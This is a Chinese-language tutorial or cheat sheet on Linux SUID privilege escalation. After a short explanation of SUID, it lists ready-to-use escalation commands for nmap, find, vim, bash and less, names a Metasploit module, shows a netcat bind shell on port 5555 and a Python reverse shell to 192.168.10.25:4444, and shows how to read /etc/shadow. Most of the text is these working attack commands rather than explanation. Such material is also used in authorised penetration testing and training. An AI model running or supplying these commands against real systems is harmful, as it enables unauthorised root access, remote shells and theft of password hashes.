linux-SUID提权
linux提权-SUID提权:
SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。
Linux引入了3个文件来管理用户(组), /etc/passwd存放用户信息,/etc/shadow存放用户密码信息,/etc/group存放组信息,然后在文件系统中的每个文件的文件头里面添加了用户和文件之间的关系信息。
已知的可用来提权的linux可行性的文件列表如下:
Nmap
Vim
find
Bash
More
Less
Nano
cp
以下命令可以发现系统上运行的所有SUID可执行文件。
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
表示重定向
/ dev / null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容
suid标识:
如: ls -lh /user/bin/经测试发现nmap存在suid标识:
Nmap:
较旧版本的Nmap(2.02至5.21)具有交互模式,允许用户执行shell命令。 由于Nmap在使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。
nmap -v 查看nmap版本,在影响范围内,交互模式可用“interactive”参数
nmap:
nmap – interactive
!sh
whoami>root获得root权限;
也可以通过Metasploit模块对Nmap二进制文件进行权限提升;
exploit/unix/local/setuid_nmap
find:
touch test
find test -exec whoami ;
或者:find /usr/bin/find -exec netcat -lvp 5555 -e /bin/sh ;
netcat 靶机ip 5555
>>whoami>root
Find:
如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行。
然后我们查看目标网站上是否有python环境,可以看到有python2.7.6的环境:
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.10.25”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’
获得一个sh类型的shell;
nc -lvp 4444
在攻击端可以收的反弹shell,并且是root身份;
Vim:
Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。
vim.tiny /etc/shadow
vim:
vim/vi
:shell
如果vim以SUID运行,就会继承root用户的权限,可以读取系统中所有的文件
此外,我们还可以通过Vim运行shell来执行只有root才能完成的操作。
vim.tiny
:set shell=/bin/sh
:shell
bash:
bash:
bash -p
># id
less:
less/more:
less /etc/passwd
!/bin/sh
使用suid需要满足的几个条件:
suid的作用:
用于执行文件,以文件的拥有者的身份运行该文件。
chmod u+s 文件名
suid执行条件:
SUID只对可执行文件有效
调用者对该文件有执行权
在执行过程中,调用者会暂时获得该文件的所有者权限
该权限只在程序执行的过程中有效
SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。